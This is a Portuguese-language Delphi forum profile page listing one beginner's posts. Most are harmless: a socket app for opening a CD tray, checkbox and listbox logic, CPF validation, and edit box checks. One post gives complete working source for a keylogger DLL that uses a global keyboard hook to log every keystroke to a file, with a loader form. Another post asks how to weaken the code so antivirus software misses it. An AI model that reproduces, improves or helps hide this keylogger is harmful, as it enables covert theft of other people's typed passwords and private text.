Ir para conteúdo
Fórum Script Brasil

luizf

Membros
  • Total de itens

    80
  • Registro em

  • Última visita

Tudo que luizf postou

  1. Consegui fazer funcionar. No meu modo de ver, fiz a mesma coisa de uma maneira diferente, não sei porque, mas deste modo funcionou. procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var texto: string; begin texto:= Socket.ReceiveText; // Para abrir if texto='abrecd' then begin mcisendstring('Set cdaudio door open wait', nil, 0, handle); // ... end; // Para fechar if texto='fecharcd' then begin mciSendString('Set cdaudio door closed wait', nil, 0, handle); // ... end; if texto='N' then begin // comando N // ... end; // ... // ... end; alguém pode me dizer o que aconteceu. Obrigado e T+
  2. Não funcionou, ainda continua funcionando somente o primeiro comando, ou seja, abrir o cd. Vou colocar a unit do cliente e do servidor para voce ver o que estou fazendo, as vezes o problema pode ate ser outro. //================================================ Cliente: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, ScktComp, XPMan; type TForm1 = class(TForm) Edit1: TEdit; BitBtn1: TBitBtn; BitBtn2: TBitBtn; BitBtn3: TBitBtn; ClientSocket1: TClientSocket; XPManifest1: TXPManifest; BitBtn5: TBitBtn; BitBtn6: TBitBtn; procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket); procedure ClientSocket1Connecting(Sender: TObject; Socket: TCustomWinSocket); procedure ClientSocket1Disconnect(Sender: TObject; Socket: TCustomWinSocket); procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure BitBtn4Click(Sender: TObject); procedure BitBtn1Click(Sender: TObject); procedure BitBtn2Click(Sender: TObject); procedure BitBtn3Click(Sender: TObject); procedure BitBtn5Click(Sender: TObject); procedure BitBtn6Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.BitBtn1Click(Sender: TObject); begin ClientSocket1.Address := Edit1.Text; // end IP ClientSocket1.Active := True; end; procedure TForm1.BitBtn2Click(Sender: TObject); begin // envia comando para abrir o cd ClientSocket1.Socket.Sendtext('abrecd'); end; procedure TForm1.BitBtn3Click(Sender: TObject); begin // envia comando para fechar o cd ClientSocket1.Socket.Sendtext('fecharcd'); end; procedure TForm1.BitBtn5Click(Sender: TObject); begin // envia comando A ClientSocket1.Socket.Sendtext('A'); end; procedure TForm1.BitBtn6Click(Sender: TObject); begin // envia comando N ClientSocket1.Socket.Sendtext('N'); end; // ... // ... // ... end. //================================================ Servidor unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ScktComp, MMSystem, MPlayer, StdCtrls, Shellapi; type TForm1 = class(TForm) ServerSocket1: TServerSocket; procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); begin // Para abrir if Socket.ReceiveText='abrecd' then begin mcisendstring('Set cdaudio door open wait', nil, 0, handle); // ... end; // Para fechar if Socket.ReceiveText='fecharcd' then begin mciSendString('Set cdaudio door closed wait', nil, 0, handle); // ... end; // teste com ShowMessage 1 if Socket.ReceiveText='A' then begin ShowMessage('Comando Recebido A'); // ... end; // teste com ShowMessage N if Socket.ReceiveText='N' then begin ShowMessage('Comando Recebido N'); // ... end; // ... // ... end; end. //================================================ Fazendo da maneira acima, só funciona o 1° comando.
  3. Valeu pela dica Churc. Mas, percebi que na verdade o problema não esta em abrir e/ou fechar. O problema esta no aninhamento do ifs. É que tenho uma rede domestica, que tem o meu pc e do me cunhado. E estou fazendo um programa cliente/servidor para usar, então fiz o seguinte no servidor. if Socket.ReceiveText='a' then begin comando a; end else if Socket.ReceiveText='b' then begin comando b; end else if Socket.ReceiveText='c' then begin comando c; end else ... if Socket.ReceiveText='n' then begin comando n; end; Mas o que esta acontecendo, é que quando mando um comando do cliente para o serv, o unico comando que é executado é o comando que esta por primeiro, no caso o comando a, e quanto aos outros comandos, não acontece nada. Se eu trocar, por exemplo, o comando c pelo comando a, o comando c funcionará normalmente, ou seja, o problema não esta nos comandos, de ser mais facil ou mais complexo. Meu problema é o aninhamento dos ifs, não sei o que estou fazendo de errado, se voce ou mais alguém puder me ajudar, fico grato. T+
  4. No que diz respeito aos códigos: { Para abrir } mciSendString('Set cdaudio door open wait', nil, 0, handle); { Para fechar } mciSendString('Set cdaudio door closed wait', nil, 0, handle); Eles estão funcionando. O que esta acontecendo realmente, acho que é no aninhamento do ifs. Testei os codigos para abrir e fechar, indendente um do outro e funcionou. Fiz o seguinte codigo (cliente/servidor): if Socket.ReceiveText='abrecd' then begin AbrirCD; end else if Socket.ReceiveText='fecharcd' then begin FecharCD; end; Agora, só abre e não fecha, se colocar o código de fechar primeiro, então só fecha e não abre. O que estou fazendo de errado?
  5. Desculpa, esqueci de mencionar. Eu não esqueci de incluir MMSystem. Mas, mesmo assim o drive não fecha, apenas abre.
  6. Boa noite pessoal. Estou com um probleminha para fechar o drive de cd. Usei os seguintes códigos: //Abrir e Fechar a Bandeja do CD-Rom/DVD-Rom Inclua na seção uses: MMSystem { Para abrir } mciSendString('Set cdaudio door open wait', nil, 0, handle); { Para fechar } mciSendString('Set cdaudio door closed wait', nil, 0, handle); Para abrir não há problema algum, mas para fechar, não fecha. Achei que o problema podia ser no drive do meu pc, então testei em outro pc, mesmo assim, não funcionou. Tentei encontrar outro código com a mesma finalidade, mas em minhas buscas só encontro sempre o mesmo código. Se puderem me ajudar, agradeço muito. T+
  7. Não, não é o meu caso. Como disse, é por causa de xeretas em meu pc. O máximo que eu poderia fazer, seria pegar um senha para utilizar um determinado site, para pegar um apostila por exemplo, mas isso não vem ao caso. E, será que não tem como deixar o código mais simples, sei lá, deixá-lo mais fraco para que o antivirus não o perceba, sei lá, de repente... T+
  8. Olá pessoal, peguei um code na net e fui testar. Mas, estou tendo problemas com o antivirus. library keylogf; uses Windows, SysUtils; {$R *.RES} const arq:string='c:\keylog.log'; function KeyboardHookProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall; var b1,b2:Boolean; ArqLog:TextFile; tecla:String[255]; begin if (code <> HC_NOREMOVE)and(lParam<0) then begin AssignFile(ArqLog,arq); try if fileexists(arq) then Append(ArqLog) else ReWrite(ArqLog); case wParam of VK_SHIFT, VK_CAPITAL, VK_MENU:begin //ignore estas teclas end; VK_BACK:begin Write(ArqLog,'[BKSP]'); end; VK_TAB:begin Write(ArqLog,'[TAB]'); end; VK_RETURN:begin WriteLN(ArqLog,'[ENTER]'); end; VK_ESCAPE:begin Write(ArqLog,'[ESC]'); end; 32..64:begin Write(ArqLog,chr(Byte(wParam))); end; 65..90:begin// todas as letras b1:=GetKeyState(VK_SHIFT)<0; // verifica se o Shift está pressionado b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock Write(ArqLog,chr(Byte(wParam+32))) // coloca em minusculo else Write(ArqLog,chr(Byte(wParam))); end; VK_NUMPAD0..VK_NUMPAD9:begin Write(ArqLog,chr(Byte(wParam-VK_NUMPAD0+48))); end; else begin tecla:=''; GetKeyNameText(LParam,@tecla[1],254); Write(ArqLog,'['+tecla+']'); end; end; Flush(ArqLog); finally CloseFile(ArqLog); end; end; Result := CallNextHookEx(HHOOK(nil), code, wParam, lParam); end; exports KeyboardHookProc; begin end. Meu antivirus diz que a Dll é um Cavalo de Tróia -> Win32-Hooker_F [Trj]. alguém pode me dizer se esse codigo é de algum virus ou a dll pode conter algo mais que o code acima. Não me lembro onde peguei o code, mas é para pegar o que é digitado em meu pc (por causa de xeretas, aqui tem muitos). Como posso retirar esse codigo da dll e colocar direto no projeto, sem usar a dll. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Buttons, ComCtrls; type TForm1 = class(TForm) StatusBar1: TStatusBar; SpeedButton1: TSpeedButton; SpeedButton2: TSpeedButton; procedure SpeedButton1Click(Sender: TObject); procedure SpeedButton2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private { Private declarations } public { Public declarations } end; const arquivo : string = 'c:\keylog.log'; var Form1 : TForm1; idKeyLog : HHOOK; KeyLogDLL: LongWord; KeylogHookProc : FARPROC; implementation {$R *.DFM} procedure TForm1.SpeedButton1Click(Sender: TObject); begin KeylogDLL:=LoadLibrary('keylogf.dll'); KeylogHookProc:=GetProcAddress(KeylogDLL,'KeyboardHookProc'); idKeylog:=SetWindowsHookEx(WH_KEYBOARD,KeylogHookProc,KeyLogDLL,0); if idKeyLog <> 0 then SpeedButton1.Down := true else SpeedButton2.Down := true; end; procedure TForm1.SpeedButton2Click(Sender: TObject); begin if idKeyLog <> 0 then begin UnhookWindowsHookEx(idKeyLog); SpeedButton2.Down := true; end; end; procedure TForm1.FormCreate(Sender: TObject); begin idKeyLog := 0; end; procedure TForm1.FormDestroy(Sender: TObject); begin SpeedButton2.Click; end; end. T+
  9. luizf

    Ajuda Com Checkbox

    Valeu Micheus, vou tentar. Me diz aí, você tem mns e/ou skype, se puder me passar, pode ser por mensagem privada. T+ .
  10. luizf

    Ajuda Com Checkbox

    Valeu pela força em Micheus. Pelo menos agora tá funcionando. Mais uma coisinha que eu queria pedir, sem querer abusar, é claro. Meu programa tem o form principal (form1), esse form chama outros forms, mas sempre do form1 para os outros, ou seja o form1 chama o form2, se eu quero ir ao form3, tenho de fechá-lo voltando ao form1 para ir ao form3, é que esses form não tem nada a ver um com o outro, então coloquei uma descrição no form1 e dependendo do que se quer é form que irá se abrir. Então o quero é o seguinte, essa procedure fechar vou ter que usar em todos os forms menos o form1. Por isso tava pensando se tem como criar um unit independente do form e usá-la nos forms, por exemplo tenho as units do form1, do form2, do form...... e a unitFechar. Ou colocar essa procedure em uma DLL, não sei. Me diz aí como posso fazer. Um abraço e T+ .
  11. luizf

    Ajuda Com Checkbox

    Beleza, era mais ou menos como eu pensava mais estava me faltando alguns detalhes, heheheh. Só que declarei a procedure no private e deu esta mensagem, mas rodou legal: [Hint] Unit_form2.pas(35): Private symbol 'Fechar' declared but never used Mudei a declaração para o public e não apareceu a msg, por que? Tem algum problema deixar no public? Mais uma coisinha, no post#4 que você me mandou eu o apliquei e deu erro como disse no post#5 e adicionei um end e um begin e rodou certinho, não deu o resultado que eu esperava mas rodou. Agora você me passa como fazer essa procedure e coloca o código sem o tal end e o begin, de novo, mas desta vez não deu erro. ????????????????? Voce ou alguém pode me explicar. Um abraço e T+ .
  12. luizf

    Ajuda Com Checkbox

    Mais uma coisinha, eu gostaria, depois de resolvido o problema, criar uma procedure, pois não é só nesse botão que vou usar, então com a procedure, é só chamar. Mas, não sei como fazer a procedure, nem como chamá-la e nem como declará-la, ou seja não sei nada. RSRSRS. Me dá uma dica. O que eu quero, é mais ou menos isso: Declaração: procedure FECHAR (agora aqui não sei o que coloco); Código da procedure: procedure FECHAR (agora aqui não sei o que coloco); begin if cb_1.Checked then // *** só fecha alguma coisa se checked begin if cb_2.Checked then // *** se checked, fecha aplicação através do close do form principal frm_Autorun_CAD.Close; end else // senão fecha janela atual begin close; end; end; Chamar a procedure, por exemplo em tres botões com apenas a chamada desta procedure em comum. procedure Tform2.Button1Click(Sender: TObject); begin linha de código 1 linha de código 2 FECHAR; end; procedure Tform2.Button2Click(Sender: TObject); begin FECHAR; end; procedure Tform2.Button3Click(Sender: TObject); begin linha de código 1 linha de código 2 linha de código 3 linha de código 4 linha de código 5 FECHAR; end; É isso, se puder me dar mais esta ajuda fico grato. T+ .
  13. luizf

    Ajuda Com Checkbox

    E aí Micheus, beleza. Muito obrigado, sua simplificação ficou boa: cb_2.Enabled := cb_1.Checked; Faltou um end e um begin, tava dando erro. if cb_1.Checked then // *** só fecha alguma coisa se checked begin if cb_2.Checked then // *** se checked, fecha aplicação através do close do form principal form1.Close; >> end else // senão fecha janela atual >> begin close; end; Mas, fora isso, o resto ainda tá dando erro. ...▬ Fechar este. ------> cb_1 ......▬ Fechar todos.------> cb_2, que só é habilitado caso cb_1 esteja checado. Os erros são estes: 1- Com os dois checados, beleza, fecha o aplicativo. 2- Com o cb_1 checado e o cb_2 não checado, não fecha nada, era para fechar o form atual, form2. 3- Com o cb_1 não checado e o cb_2 checado, mas desabilitado por causa do cb_1 não estar checado, fecha o form atual, mas não era para fechar nada, pois o cb_1 não esta checado e o cb_2 esta checado, mas desabilitado, o que tambem desabilita qualquer função que esteja por traz deste, não é isso? Então se puder/em me dar uma luz agradeço. T+ e um abraço. .
  14. luizf

    Ajuda Com Checkbox

    O que eu quero é o seguinte: Ao clicar o button feche o form2, desde que o cb_1 esteja checado e feche o form1, desde que o cb_2 esteja checado, ou sejal, se o cb_2 estiver checado, irá sair da aplicação. Mas está dando varios erros, por exemplo, o aplicativo esta sendo fechado mesmo com os checkboxs não tando checados. Entendeu? T+
  15. luizf

    Ajuda Com Funções

    Valeu Churc. Vou fazer uns teste para dar um treino. T+
  16. Mas um ajudinha pessoal. Se não for muito encomodo é claro. Peguei esta função na net. function CPF(Num: String): Boolean; var Temp: Integer; Numero: String; n: array [1..9] of Integer; d: array [1..2] of Integer; begin Numero:=''; for Temp:=1 to 14 do if Num[Temp] in ['0'..'9'] then Numero:=Numero+Num[Temp]; for Temp:=1 to 9 do n[Temp]:=StrToInt(Numero[Temp]); d[1]:=n[9]*2+n[8]*3+n[7]*4+n[6]*5+n[5]*6+n[4]*7+n[3]*8+n[2]*9+n[1]*10; d[1]:=11-(d[1] mod 11); if d[1]>=10 then d[1]:=0; d[2]:=d[1]*2+n[9]*3+n[8]*4+n[7]*5+n[6]*6+n[5]*7+n[4]*8+n[3]*9+n[2]*10+n[1]*11; d[2]:=11-(d[2] mod 11); if d[2]>=10 then d[2]:=0; if IntToStr(d[1])+IntToStr(d[2])=Numero[10]+Numero[11] then CPF:=True else CPF:=False; end; Mas, como sou iniciante, não sei como utiliza-la. Por exemplo, coloco um edit e um button. No evento onclick do button devo chamar a função, acho que assim: CPF edit1.text; Fiz isso, não deu nenhum erro, mas tambem não tive nenhuma resposta. Por favor me digam como devo fazer para chamar uma função e/ou procedure (acredito que para chamar, seja do mesmo modo para as duas, só o retorno que é difernte), sendo esta ou outra função. Muito obrigado pela atenção e felicidades a todos. T+
  17. Olá pessoal, tudo beleza. Estou precisando de uma ajudinha com dois checkbox. Tenho dois formularios, form1 e form2. O primeiro chama o segundo, form2.showmodal. No form2 tenho um button e dois checkbox, cb_1 e cb_2. No form2, o button chama uma determinada função e junto, depois da função, coloquei um comando para verificar se o cb_1 esta checado, se tiver verificar se o cb_2 tambem esta checado para executar outro item. 1- if cb_1.Checked then 2- begin 3- if cb_2.Checked then 4- close; 5- form1.Close; 6- end 7- else 8- begin 9- close; 10- end; O que seria: 1- se checkbox1 tiver checado 2- então verifica se checkbox2 esta checado 3- se checkbox2 tiver checado 4- então fecha este form2 5- e fecha o form1 se checkbox2 não tiver checado 9- fecha apenas o form2 O cb_1 checado é para fechar apenas o form2, com o cb_2 checado fecha o form2 e o form1. No evento onclick do cb_1 coloquei: if cb_1.Checked then begin cb_2.Enabled:= true; end else begin cb_2.Enabled:= false; end; Com o cb_1 checado, é habilitado o cb_2 ( enable:= true). Com o cb_1 não checado, o cb_2 é desabilitado ( enable:= false). Mas, não está saindo como eu queria, alguém pode dar uma olhada e verificar o que tem de errado. Muito obrigado. T+
  18. Olá pessoal, estou precisando de mais uma ajudinha. Estou montando um formulario que contem, alem de outros, um listbox e um label, onde o listbox contem 11 itens (11 linhas:= ItemIndex 0, ItemIndex 1, ......, ItemIndex 10). E, o que estou precisando, é ao mudar de uma linha para outra o label seja alterado e execute um determinado executavel que o corresponde (essas 11 linhas, são 11 nomes de executaveis). Bom, consegui fazer isso com o clique do mouse, sobre cada item clicado era alterado o label. Coloquei a seguinte rotina no OnMouseDown do listbox: begin case Lstbox_execut.ItemIndex of 0 : Label1.caption:= 'Executavel 1'; 1 : Label1.caption:= 'Executavel 2'; ............ ............ 10 : Label1.caption:= 'Executavel 11'; end; end; Mas, não consegui fazer mudar com o teclado, tentei colocar a mesma rotina no OnKeyDown do listbox, mas não deu certo, ou melhor deu certo até uma parte. Quando vou mudar de item atravez do teclado, ao teclar pela primeira vez, ao invez de aparecer o item 1, aparece o item 2 e quando chega ao ultimo item ao invez de para caso pressione a tecla mais uma vez, o listbox é alterado mais uma vez, o mesmo ocorre no sentido decrescente, não para no item 1. alguém pode me dar uma dica de como resolver, fico grato. T+++ ;) .
  19. E aí pessoal, beleza. Obrigado pela atenção, aguardo respostas. Parece que tá meio difícil de abrir e fechar a bandeja do DVD, mas ... T+
  20. Pô pessoal, ninguém sabe?? :( Ainda vou continuar aguardando. T+
  21. É justamente por isso que quero saber como abrir a bandeja do DVD, pois possuo os dois. Aguardo respostas. Obrigado a todos.
  22. Será que alguém pode me dizer como faço para abrir a bandeja do DVD. Sei como abrir a do CD, mas não do DVD. Já procurei dicas em vários sites, mas não encontrei. Muito Obrigado. T+ B)
  23. luizf

    Erro No Edit

    Muito Obrigado a todos vocês, vou testar e ver no que dá. T+
  24. luizf

    Erro No Edit

    Ola pessoal, preciso de uma ajudinha. É coisa simples, não para mim que sou iniciante. Preciso pegar o valor de um editbox, mas caso o botão seja precionado antes de colocar o valor, é dado um erro. Function F_Exemplo(valor: Integer): String; ... ... ... Result := sstr; end; procedure TForm1.Button1Click(Sender: TObject); var str: string; int: integer; begin int:= StrToInt (edit1.Text); str := F_Exemplo (int); edit2.text:= str; end; Gostaria de colocar um código, para que quando precionar o button1 e não estiver colocado um numero no edit, fizesse um checagem se o edit foi escrito e se foi verificar se é inteiro, para no caso de digitar um letra e na hora de rodar vai dar erro de novo. Creio que é coisa simples, mas não sei fazer. Muito Obrigado e um abraço a todos. T+
×
×
  • Criar Novo...